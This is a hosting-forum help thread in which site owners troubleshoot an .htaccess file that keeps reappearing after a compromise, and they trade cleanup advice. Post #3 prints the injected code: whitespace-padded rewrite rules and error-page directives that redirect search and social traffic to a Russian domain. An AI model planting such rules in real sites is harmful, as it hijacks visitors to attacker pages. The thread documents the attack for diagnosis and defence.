Malicious .htaccess reappearing


#1

i’ll try my best to describe the problem. so my .htaccess file is somehow being overwritten with malicious code that redirects to a russian url. even if i delete the .htaccess file it reappears within 10 minutes with the same code. i deleted all my databases and removed directories that i rarely accessed. the .htaccess file has always been set to 444. i’m pulling my hair out because i don’t understand how this continues to happen. just before making this thread i deleted the .htaccess file so i don’t have the code to share. when it comes back i’ll post the code so you’ll have a better understanding.


#2

It’s most likely caused by not update web app software or a non-secure theme or plugin.

See this wiki page: http://wiki.dreamhost.com/Troubleshooting_Hacked_Sites

additionally this thread may be of help http://discussion.dreamhost.com/thread-132209.html


#3

alright, it just reloaded. here’s the code:

																								<IfModule mod_rewrite.c>																														
																													RewriteEngine On																														
																													RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)																														
																													RewriteRule ^(.*)$ http://daliachuqimaysa.ru/gluce/index.php [R=301,L]																														
																													RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)																														
																													RewriteRule ^(.*)$ http://daliachuqimaysa.ru/gluce/index.php [R=301,L]																														
																													</IfModule>																														

ErrorDocument 400 http://daliachuqimaysa.ru/gluce/index.php
ErrorDocument 401 http://daliachuqimaysa.ru/gluce/index.php
ErrorDocument 403 http://daliachuqimaysa.ru/gluce/index.php
ErrorDocument 404 http://daliachuqimaysa.ru/gluce/index.php
ErrorDocument 500 http://daliachuqimaysa.ru/gluce/index.php


#4

Yeah mate, I had the same issue on a whole lot of my domains a while back.

I’d put in a support request and ask if they can clear out the malicious .php files that will be causing this. These files are often named things like mybest_friend.php and located in a labyrinth of sub folders.

Apparently they get in through exploits in wordpress, joomla, wiki etc. Update them all & it probably wouldn’t hurt to change your ftp passwords while your at it.

Good luck.


#5

You can check the logs to see if your password has been compromised. I doubt it has in this situation, so changing passwords would have absolutely no effect.

what you do want to do is grep all of your php files for something like eval() or base64_decode() etc. The source of your problem is likely found there. There are many tips on how to do it in these forums as well as the wiki. You can get an idea of how these sort of hacks work by reading this: http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/


#6

i figured that’s probably what would have to happen. i went ahead and deleted even more files and sub-directories. everything that i’ve read online about this seems to suggest the last resort is to delete everything to be absolutely sure you’ve removed any exploits. just gonna start from scratch :confused: at least i didn’t have much worth backing up.


#7

I agree - but because he didn’t know where it was coming from I did say ‘it couldn’t hurt’ :slight_smile:

Ftp exploits aren’t as common, but they do still happen.

Anyway - good luck! It can be tricky.


#8

Hello… I’m having the very same problem. I’m deleting everything I can and scanning all my sites for base64, but it’s to the point of flinging myself and my computer across the room-- I’ve got a lot of files and several sites to babysit. Is there anything specific I should be looking for? It’s rewriting my htaccess files everywhere before I even delete the old ones.


#9

Might want to jump over to the long thread on the subject… http://discussion.dreamhost.com/thread-134262.html

remote shells, timthumb and other unsecure plugin’s to start… there is much info there, but understanding is the key.

You might also try asking support for help, by opening a ticket via the panel… recent posts suggest it appears they may have developed some tools to help, but help seems to be delayed/slow due to the amount of work. the underlying fact remains you installed it and you need to understand what you installed.


#10

Thanks for this-- it’s overwhelming, but I’ll find it. I try and minimise plugins, and avoid timthumb and other known scripts. The cleaner script that someone uploaded is proving helpful. My concern is that this is the future of shared servers. I can lock down tighter than… well, than a metaphor I won’t indulge. But I’m not a network admin, so I don’t know if my efforts are for naught when others on the server could have backdoors with big neon signs on them.[hr]
FYI in my case, at least, it seems the culprit was to be found in an old install of ZenCart, which I’d recently dropped onto a subdomain to test some changes for a client. The version (1.38) has known security flaws, and one of my tasks was to try and upgrade the thing. I never found the malicious source file, but deleting the entire test site stopped the reappearing .htaccess problem. I think I’ll upgrade it locally…

Good luck to others in the same boat-- check your ZenCart/OSCommerce files…


#11

[quote=“mtte, post:10, topic:56998”]
My concern is that this is the future of shared servers. I can lock down tighter than… well, than a metaphor I won’t indulge. But I’m not a network admin, so I don’t know if my efforts are for naught when others on the server could have backdoors with big neon signs on them.[/quote]

I’m far from an expert on these things, but Unix and the concept of multi-user computing has been around much, much longer than HTTP. Shared servers run Debian, a Linux distribution, which is a Unix clone/flavour (without getting into the politics of what exactly Unix is)… The point is that permissions, sharing files and folders, restricting access, etc, were figured out a long, long time ago and have been constantly honed and revised since then. Most exploits, should the occur, on shared systems involve gaining elevated privileges, not finding loopholes in permissions.

HTTP, PHP, and the whole idea of web-based apps is still in its infancy and the process of cutting their teeth is exceptionally painful because of how popular these technologies have become to access sensitive data without full forethought and testing. If such bugs were discovered in *nix systems in the 80s, it would not have been a big deal because you’d had to have been on the inside anyway to exploit it. Now everyone, literally all 7+ billion people, can have a go at picking the locks on a web app, often with very tempting data behind the door.

While it’s certainly possible that someone could find an exploit in the OS, I’d wager that the chances are about 10,000x greater that any problems people are having are due to the vulnerabilities found in the public-facing doors to their accounts (their website) rather than the backdoors (the OS of the servers).


#12

MTTE,

What I’m coming to understand is that if you use the tools provided, like enhanced security, AND if you think about constructing each application as it’s own dreamhost user, AND if you keep each application up to date, AND you have an adequate backup strategy for databases AND finally you clean up EVERYTHNG that your not using, you have an excellent chance of not being hacked. In the case that you are hacked, you’ll only have to clean up one application like wordpress or phpbb. So if we are security aware, keep or stuff clean and up to date, the prospects for shared hosting are excellent. Just recognize that goofy, shared host users have become targets for people with WAYYY too much time on their hands.

-Bill


#13

Shared hosting is not the issue (assuming enhanced security is enabled). If install the door and leave it open, it doesn’t matter if it’s the door to a shared host, VPS, or dedicated server the door still works the same way.


#14

^ This.